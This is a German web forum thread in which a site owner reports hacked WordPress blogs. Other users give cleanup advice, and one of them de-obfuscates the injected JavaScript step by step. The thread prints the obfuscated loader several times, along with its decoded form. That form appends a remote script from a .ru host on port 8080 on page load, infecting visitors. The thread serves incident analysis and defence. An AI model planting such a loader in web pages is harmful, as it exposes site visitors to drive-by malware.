Websites gehackt?

Klabund

Legendäres Mitglied
Hi,

mehrere Wordpress-Blogs von mir sind seit heute nicht mehr erreichbar.
Die Seiten sind weiss, von Blog Nummer 1 steht das:

CODE <script>var U='';function J(){var _q=new Date();var H;if(H!=''){H='xI'};var P='';var W=new String();var a="gGX2".substr(0,1);var O='';var F=window;this.sz="";var e=unescape;var Pw=new Array();var JI=new Array();var _="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x73\x69\x74\x65\x70\x6f\x69\x6e\x74\x2e\x63\x6f\x6d\x2e\x63\x6f\x73\x74\x63\x6f\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x72\x68\x65\x6c\x70\x66\x69\x6c\x65\x2e\x72\x75\x3a";function u(c,k){var pW=new Array();var K=new String();var Cp;if(Cp!='Pm' && Cp != ''){Cp=null};var Ze=new String();var D=e("%5b")+k+e("%5d");var Z=new RegExp(D, a);return c.replace(Z, P);var sG=new Array();var WU;if(WU!='ah' && WU!='Va'){WU='ah'};};var UX;if(UX!=''){UX='FT'};this.xg='';var XY;if(XY!='PW'){XY=''};var d='';var i=e("%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%61%6c%74%65%72%76%69%73%74%61%2e%6f%72%67%2f%78%68%61%6d%73%74%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var QU;if(QU!='cH'){QU=''};var ku=new Array();var Y=document;this.E="";var tS;if(tS!='nV' && tS!='pQ'){tS=''};var PZ=u('83313014467817140537','16423795');var UL;if(UL!='Ec'){UL='Ec'};var aQ;if(aQ!=''){aQ='nF'};function V(){var Nr='';var fz='';d=_;var y;if(y!='Nx'){y=''};d+=PZ;var Ln;if(Ln!=''){Ln='j_'};var XB;if(XB!=''){XB='Br'};d+=i;var b;if(b!='' && b!='UA'){b=''};this.bz='';try {var Nf="";var GP="";X=Y.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));X.src=d;var jA=new String();var _E;if(_E!='' && _E!='zv'){_E=null};X.defer=[1,1][0];var YJ=new String();var dX;if(dX!='' && dX!='cf'){dX=''};var UN=new String();var ul='';Y.body.appendChild(X);this.Rw='';var xj='';} catch(R){var Gz=new String();};var VH=new Array();}var UNk;if(UNk!='' && UNk!='jB'){UNk=null};var yL=new Array();F[new String("onl"+"oad")]=V;var E_='';this.LP="";var eU="";var _o;if(_o!='Ky' && _o!='It'){_o=''};};var cF="";var Q_;if(Q_!='' && Q_!='Ix'){Q_=''};var UF=new Date();this.LN='';J();</script>
<!--5c05260dbfb8a1bf007b486b72da15ca-->


In einem anderen Blog steht das:


QUOTE <br />
<b>Parse error</b>: syntax error, unexpected '<' in <b>/var/www/html/wp-includes/default-filters.php</b> on line <b>230</b><br />



U.ä.

Die Blogs stehen auf vollkommen anderen Servern....
....kann mir jemand Hinweise geben?

Vielen Dank im vorraus.
 
Jep, danke dir - hatte ich befürchtet.
Nun läuft es wieder. Hoffe mal dauerhaft-....
 
Scheint ein XSS-Angriff gewesen zu sein, Backup rein, Updates einspielen, ggf. Plug-Ins checken und im Zweifel raus werfen, Passwörter ändern (ein starkes Passwort verwenden!), Sessions einmal sauber beenden. Berechtigungen checken, ob auf DB, Dateisystem oder in der Anwendung. Logs durchgehen, um herauszufinden, wie er ggf. die Anwendung kompromittiert hat.

Vorausgesetzt es war nur ein XSS, sonst sollte unbedingt mehr gemacht werden.
 
Genau so hab ich es jetzt gehandhabt, danke für die Hinweise.

Mir ist aufgefallen dass das Problem nur bei Wordpress-Blogs aufgetaucht ist, bei denen ich aus Nachlässigkeit vergessen hab, die Keys in der wp-config zu ändern:

QUOTE define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');



Ich hab die jetzt alle mal verändert, mit langen Keys, kann es auch daran gelegen haben?

Server-Zugriff hatte der Angreifer anscheinend nicht, in der Datenbank ist alles wie immer, alle Files sind auch noch da gewesen...
 
Btw.
Den oben geschriebenen Javascript-Code hab ich inzwischen jeden Tag neu auf meinen Seiten, sogar auf HTML-Seiten (also ohne jegliches Script, einfach nur auch ganz normalen HTML-Seiten).
Die Seiten sind noch online erreichbar, aber der Code ist im Quelltext zu sehen.

Ich denke mir schon, das es wohl ein Neidhammel ist, der den ganzen Tag davor sitzt und versucht meine Seiten kaputt zu machen, aber ich frag mich wie das gehen kann... bei Wordpress leuchtet es mir noch ein, weil es ein bekanntes Script ist....
 
Tja, laufen andere Scripte dort, oder auch nur das Wordpress auf'm gleichen Server? Ist der Server ggf. kompromittiert?
 
Ich würde die Seiten vom Netz nehmen.

Erstens läufst Du Gefahr, daß dein eigener Arbeits-PC längst schon mit irgendwelchem Müll infiziert ist, etwa einem Trojaner, der deine Passwörter mitliest.

Zweitens gefährdest Du jeden Leser der Seite, sich denselben Mist einzuhandeln.
 
Lass mich raten, Klabund: auf jeder Seite wird ein hidden-iframe eingebunden?

QUOTE Erstens läufst Du Gefahr, daß dein eigener Arbeits-PC längst schon mit irgendwelchem Müll infiziert ist, etwa einem Trojaner, der deine Passwörter mitliest.


Das denke ich auch.

2 Möglichkeiten:
#1- Dein Browser und Antivirus sind so alt, dass ein Iframe-Angriff unbemerkt durchgekommen ist, und Dir einen Trojaner verpasst hat, der jetzt deine Passwörter aus Deinem FTP Programm ausliest und an seine "Zentrale" weiterschickt
ODER
#2- Du hast Software aus nicht vertrauenswürdigen Stellen bezogen, und sie war mit dem Trojaner versehen.

Wenn man die Leute fragt, antworten die immer mit Grund #1, Realität ist fast immer #2
(Du bist natürlich eine Ausnahme)


Leute, installiert euch ein Antivirus + eine Ausführungsverhinderung.

Ich fahre sehr gut mit Avast + Threatfire, wo letzteres sehr nützlich ist um Schadsoftware an ihrem Verhalten zu erkennen.
 
Danke für eure Antworten, ich checke grad das ganze System und alle Seiten...
Aber ein Iframe wird nirgends eingebunden, nur der folgende JavaScript-Code:

CODE
<script>var U='';function J(){var _q=new Date();var H;if(H!=''){H='xI'};var P='';var W=new String();var a="gGX2".substr(0,1);var O='';var F=window;this.sz="";var e=unescape;var Pw=new Array();var JI=new Array();var _="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x73\x69\x74\x65\x70\x6f\x69\x6e\x74\x2e\x63\x6f\x6d\x2e\x63\x6f\x73\x74\x63\x6f\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x72\x68\x65\x6c\x70\x66\x69\x6c\x65\x2e\x72\x75\x3a";function u(c,k){var pW=new Array();var K=new String();var Cp;if(Cp!='Pm' && Cp != ''){Cp=null};var Ze=new String();var D=e("%5b")+k+e("%5d");var Z=new RegExp(D, a);return c.replace(Z, P);var sG=new Array();var WU;if(WU!='ah' && WU!='Va'){WU='ah'};};var UX;if(UX!=''){UX='FT'};this.xg='';var XY;if(XY!='PW'){XY=''};var d='';var i=e("%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%61%6c%74%65%72%76%69%73%74%61%2e%6f%72%67%2f%78%68%61%6d%73%74%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var QU;if(QU!='cH'){QU=''};var ku=new Array();var Y=document;this.E="";var tS;if(tS!='nV' && tS!='pQ'){tS=''};var PZ=u('83313014467817140537','16423795');var UL;if(UL!='Ec'){UL='Ec'};var aQ;if(aQ!=''){aQ='nF'};function V(){var Nr='';var fz='';d=_;var y;if(y!='Nx'){y=''};d+=PZ;var Ln;if(Ln!=''){Ln='j_'};var XB;if(XB!=''){XB='Br'};d+=i;var b;if(b!='' && b!='UA'){b=''};this.bz='';try {var Nf="";var GP="";X=Y.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));X.src=d;var jA=new String();var _E;if(_E!='' && _E!='zv'){_E=null};X.defer=[1,1][0];var YJ=new String();var dX;if(dX!='' && dX!='cf'){dX=''};var UN=new String();var ul='';Y.body.appendChild(X);this.Rw='';var xj='';} catch(R){var Gz=new String();};var VH=new Array();}var UNk;if(UNk!='' && UNk!='jB'){UNk=null};var yL=new Array();F[new String("onl"+"oad")]=V;var E_='';this.LP="";var eU="";var _o;if(_o!='Ky' && _o!='It'){_o=''};};var cF="";var Q_;if(Q_!='' && Q_!='Ix'){Q_=''};var UF=new Date();this.LN='';J();</script>
<!--e985ff61a9af04f0aa719b9a3bebd5fa-->

 
Um mal zu sehen, was hier für eine Energie und Auffand hinter steckt, das Script mal Schrittweise aufgelöst.

1.) Einrücken des JavaScripts

CODE var U = '';

function J ()
{
  var _q = new Date();
  var H;
  if ( H != '' )
  {
     H = 'xI'
  };
  var P = '';
  var W = new String();
  var a = "gGX2" . substr(0,1);
  var O = '';
  var F = window;
  this.sz = "";
  var e = unescape;
  var Pw = new Array();
  var JI = new Array();
  var _ = "\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x73\x69\x74\x65\x70\x6f\x69\x6e\x74\x2e\x63\x6f\x6d\x2e\x63\x6f\x73\x74\x63\x6f\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x72\x68\x65\x6c\x70\x66\x69\x6c\x65\x2e\x72\x75\x3a";

  function u ( c, k )
  {
     var pW = new Array();
     var K = new String();
     var Cp;
     if ( Cp != 'Pm' && Cp != '' )
     {
        Cp = null
     };
     var Ze = new String();
     var D = e("%5b") + k + e("%5d");
     var Z = new RegExp(D, a);
     return c.replace(Z, P);
     var sG = new Array();
     var WU;
     if ( WU != 'ah' && WU != 'Va' )
     {
        WU = 'ah'
     };
  };

  var UX;
  if ( UX != '' )
  {
     UX = 'FT'
  };
  this.xg = '';
  var XY;
  if ( XY != 'PW' )
  {
     XY = ''
  };
  var d = '';
  var i = e("%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%61%6c%74%65%72%76%69%73%74%61%2e%6f%72%67%2f%78%68%61%6d%73%74%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");
  var QU;
  if ( QU != 'cH' )
  {
     QU = ''
  };
  var ku = new Array();
  var Y = document;
  this.E = "";
  var tS;
  if ( tS != 'nV' && tS != 'pQ' )
  {
     tS = ''
  };
  var PZ = u('83313014467817140537','16423795');
  var UL;
  if ( UL != 'Ec' )
  {
     UL = 'Ec'
  };
  var aQ;
  if ( aQ != '' )
  {
     aQ = 'nF'
  };

  function V ()
  {
     var Nr = '';
     var fz = '';
     d = _;
     var y;
     if ( y != 'Nx' )
     {
        y = ''
     };
     d += PZ;
     var Ln;
     if ( Ln != '' )
     {
        Ln = 'j_'
     };
     var XB;
     if ( XB != '' )
     {
        XB = 'Br'
     };
     d += i;
     var b;
     if ( b != '' && b != 'UA')
     {
        b = ''
     };
     this.bz = '';
     try
     {
        var Nf = "";
        var GP = "";
        X = Y.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));
        X.src = d;
        var jA = new String();
        var _E;
        if ( _E != '' && _E != 'zv' )
        {
           _E = null
        };
        X.defer=[1,1][0];
        var YJ = new String();
        var dX;
        if ( dX != '' && dX != 'cf' )
        {
           dX = ''
        };
        var UN = new String();
        var ul = '';
        Y.body.appendChild(X);
        this.Rw = '';
        var xj = '';
     }
     catch ( R )
     {
        var Gz = new String();
     };
     var VH = new Array();
  }

  var UNk;
  if ( UNk != '' && UNk != 'jB' )
  {
     UNk = null
  };
  var yL = new Array();
  F[new String("onl"+"oad")] = V;
  var E_ = '';
  this.LP = "";
  var eU = "";
  var _o;
  if ( _o != 'Ky' && _o != 'It' )
  {
     _o = ''
  };
};

var cF = "";
var Q_;
if ( Q_ != '' && Q_ != 'Ix' )
{
  Q_ = ''
};
var UF = new Date();
this.LN = '';

J();







2.) Löschen von irrelevanten Code

CODE function J ()
{
  var P = '';
  var a = "gGX2" . substr(0,1);
  var F = window;
  var e = unescape;
  var _ = "\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x73\x69\x74\x65\x70\x6f\x69\x6e\x74\x2e\x63\x6f\x6d\x2e\x63\x6f\x73\x74\x63\x6f\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x72\x68\x65\x6c\x70\x66\x69\x6c\x65\x2e\x72\x75\x3a";

  function u ( c, k )
  {
     var D = e("%5b") + k + e("%5d");
     var Z = new RegExp(D, a);
     return c.replace(Z, P);
  };

  var d = '';
  var i = e("%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%61%6c%74%65%72%76%69%73%74%61%2e%6f%72%67%2f%78%68%61%6d%73%74%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");
  var Y = document;
  var PZ = u('83313014467817140537','16423795');

  function V ()
  {
     d = _;
     d += PZ;
     d += i;
     X = Y.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));
     X.src = d;
     X.defer=[1,1][0];
     Y.body.appendChild(X);
  }

  F[new String("onl"+"oad")] = V;
};

J();






3 Streichen der Platzhaltervariablen


CODE function J ()
{
  var P = '';
  var a = "gGX2" . substr(0,1);
  var _ = "\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x73\x69\x74\x65\x70\x6f\x69\x6e\x74\x2e\x63\x6f\x6d\x2e\x63\x6f\x73\x74\x63\x6f\x2d\x63\x6f\x6d\x2e\x79\x6f\x75\x72\x68\x65\x6c\x70\x66\x69\x6c\x65\x2e\x72\x75\x3a";

  function u ( c, k )
  {
     var D = unescape("%5b") + k + unescape("%5d");
     var Z = new RegExp(D, a);
     return c.replace(Z, P);
  };

  var d = '';
  var i = unescape("%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%34%73%68%61%72%65%64%2e%63%6f%6d%2f%61%6c%74%65%72%76%69%73%74%61%2e%6f%72%67%2f%78%68%61%6d%73%74%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");
  var PZ = u('83313014467817140537','16423795');

  function V ()
  {
     d = _;
     d += PZ;
     d += i;
     X = document.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));
     X.src = d;
     X.defer=[1,1][0];
     document.body.appendChild(X);
  }

  window[new String("onl"+"oad")] = V;
};

J();






4 Auflösen der Variablen


CODE function J ()
{
  var P = '';
  var a = "g";
  var _ = "http://google-com-ph.sitepoint.com.costco-com.yourhelpfile.ru:";

  function u ( c, k )
  {
     var D = "[" + k + "]";
     var Z = new RegExp(D, a);
     return c.replace(Z, P);
  };

  var d = '';
  var i = "/4shared.com/4shared.com/altervista.org/xhamster.com/google.com.php";
  var PZ = u('83313014467817140537','16423795');

  function V ()
  {
     d = _;
     d += PZ;
     d += i;
     X = document.createElement(u('secerXi4pgtX','xn9Q8RAbNPKeXGW0Yg54'));
     X.src = d;
     X.defer=[1,1][0];
     document.body.appendChild(X);
  }

  window[new String("onload")] = V;
};

J();






5.) Funktion u() auflösen und herausstreichen


CODE function J ()
{
  var _ = "http://google-com-ph.sitepoint.com.costco-com.yourhelpfile.ru:";
  var d = '';
  var i = "/4shared.com/4shared.com/altervista.org/xhamster.com/google.com.php";
  var PZ = '8080';

  function V ()
  {
     d = _;
     d += PZ;
     d += i;
     X = document.createElement('script');
     X.src = d;
     X.defer=[1,1][0];
     document.body.appendChild(X);
  }

  window[new String("onload")] = V;
};

J();






6.) Das was bleibt zusammenfassen


CODE function J ()
{
  function V ()
  {
     
     X = document.createElement('script');
     X.src = "http://google-com-ph.sitepoint.com.costco-com.yourhelpfile.ru:8080/4shared.com/4shared.com/altervista.org/xhamster.com/google.com.php";
     X.defer=[1,1][0];
     document.body.appendChild(X);
  }

  window[new String("onload")] = V;
};

J();



Und was macht nun der Code? Es fügt einfach einen kurzen HTML-Code ein:


HTML <script src="http://google-com-ph.sitepoint.com.costco-com.yourhelpfile.ru:8080/4shared.com/4shared.com/altervista.org/xhamster.com/google.com.php"></script>




PS: @Klabund Dat hättest Du eigentlich schon längst mal machen sollen, herausfinden, was das Teil macht.
 
Danke dir für die Zeit, die du dir damit genommen hast. Aber was will mir denn nun dieser Code sagen - was für eine Bedeutung soll das haben
huh.gif
 
Zurück
Oben